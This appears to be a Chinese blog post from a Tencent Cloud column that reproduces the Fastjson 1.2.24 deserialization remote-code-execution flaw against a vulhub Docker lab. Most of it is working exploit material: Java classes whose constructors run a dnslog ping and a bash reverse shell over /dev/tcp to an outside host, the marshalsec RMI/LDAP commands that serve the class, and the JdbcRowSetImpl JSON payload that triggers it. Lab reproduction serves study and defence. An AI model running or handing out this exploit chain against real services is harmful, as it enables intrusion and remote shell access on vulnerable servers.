前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Fastjson反序列化漏洞复现

Fastjson反序列化漏洞复现

作者头像
R0A1NG
发布2022-02-19 10:18:17
3.6K0
发布2022-02-19 10:18:17
举报
文章被收录于专栏:R0A1NG 技术分享

原理

通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。

复现版本

fastjson = 1.2.24

漏洞复现

攻击机:192.168.112.137 靶机:192.168.112.137:5002 1.靶机环境搭建

用docker拉取靶机镜像

docker pull vulhub/fastjson:1.2.24

创建启动靶机容器

docker run -d -p 5002:8090 vulhub/fastjson:1.2.24 注:5002为外部映射端口,可自定义

2.漏洞检测利用 判断是否使用Fastjson框架

1.通过json解析异常抛出 2.通过DNSLOG判断

使用post请求,不带参数或者带一场参数,返回报错信息,使用fastjson框架

如果服务端禁止输出报错信息,可以使用dnslog的方法

使用Poc检测(利用dnslog)

代码语言:javascript
复制
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Poc{
    public Poc() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "ping odudmq.dnslog.cn"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

命名为Poc.java 使用命令javac Poc.java,生成Poc.class

使用python开启http服务

python3 -m http.server 5623

Poc.class放到该目录下 下载marshalsec-0.0.3-SNAPSHOT-all.jar https://wwe.lanzoui.com/i8FMSvvoevg 使用RMI或LDAP的服务加载远程类文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.137:5623/#Poc" 8653

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.137:5623/#Poc" 8653

构造数据包加载远程类

代码语言:javascript
复制
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.137:8653/Poc",
        "autoCommit":true
    }
}

查看dnslog日志

反弹shell exp文件

代码语言:javascript
复制
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exp{
    public Exp() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >&  /dev/tcp/192.168.112.1/4563 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

命名为Exp.java,使用命令javac Exp.java,生成Exp.class文件 放到刚才python的http服务目录下 加载远程类文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.1:5623/#Exp" 8653

代码语言:javascript
复制
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.112.137:8653/Poc",
        "autoCommit":true
    }
}

获取反弹shell

参考:https://dyblogs.cn/dy/2392.html https://www.sohu.com/a/411003981_610481

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 10 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 复现版本
  • 漏洞复现
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档